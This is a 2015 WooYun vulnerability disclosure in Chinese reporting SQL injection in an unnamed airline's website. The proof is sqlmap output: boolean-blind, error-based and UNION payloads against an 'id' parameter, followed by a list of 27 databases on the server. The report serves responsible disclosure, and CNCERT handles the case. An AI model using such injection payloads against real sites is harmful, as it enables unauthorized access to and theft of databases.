漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0117928
漏洞标题:某航空公司SQL注入
相关厂商:某航空公司
漏洞作者: 路人甲
提交时间:2015-06-03 12:31
修复时间:2015-07-23 08:18
公开时间:2015-07-23 08:18
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-06-03: 细节已通知厂商并且等待厂商处理中
2015-06-08: 厂商已经确认,细节仅向厂商公开
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开
简要描述:
某航空公司SQL注入
详细说明:
漏洞证明:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2234 AND 7027=7027
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=2234 AND 7870=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(106)+
CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7870=7870) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: id=2234 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,CHAR(113)+CHAR(122)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(105)+CHAR(102)+CH
AR(83)+CHAR(68)+CHAR(81)+CHAR(83)+CHAR(70)+CHAR(83)+CHAR(74)+CHAR(101)+CHAR(113)
+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL--
---
[11:30:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[11:30:26] [INFO] fetching database names
[11:30:27] [INFO] heuristics detected web page charset 'GB2312'
[11:30:27] [WARNING] the SQL query provided does not return any output
[11:30:27] [WARNING] the SQL query provided does not return any output
[11:30:27] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[11:30:27] [INFO] fetching number of databases
[11:30:27] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[11:30:27] [INFO] retrieved:
[11:30:27] [ERROR] unable to retrieve the number of databases
available databases [27]:
[*] 2010sheyanggov
[*] cqc_cansang
[*] cqc_kcjq
[*] cqc_stampol
[*] cqc_syagri
[*] cyylj
[*] gswzwj
[*] gz
[*] gz201312
[*] gzweb
[*] jiandu
[*] jiangsu
[*] jrbhdpt
[*] master
[*] model
[*] msdb
[*] newsheyang
[*] Northwind
[*] pubs
[*] syb
[*] tempdb
[*] ybzx
[*] ybzx_web
[*] yccasdata
[*] YGSalaryNet
[*] zfxxgk
[*] zfxxgksq
点到为止,未深入。证明漏洞即可。
修复方案:
过滤
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2015-06-08 08:17
厂商回复:
CNVD确认并复现所述情况,已经转由CNCERT向民航行业测评中心通报,由其后续协调网站管理单位处置.
最新状态:
暂无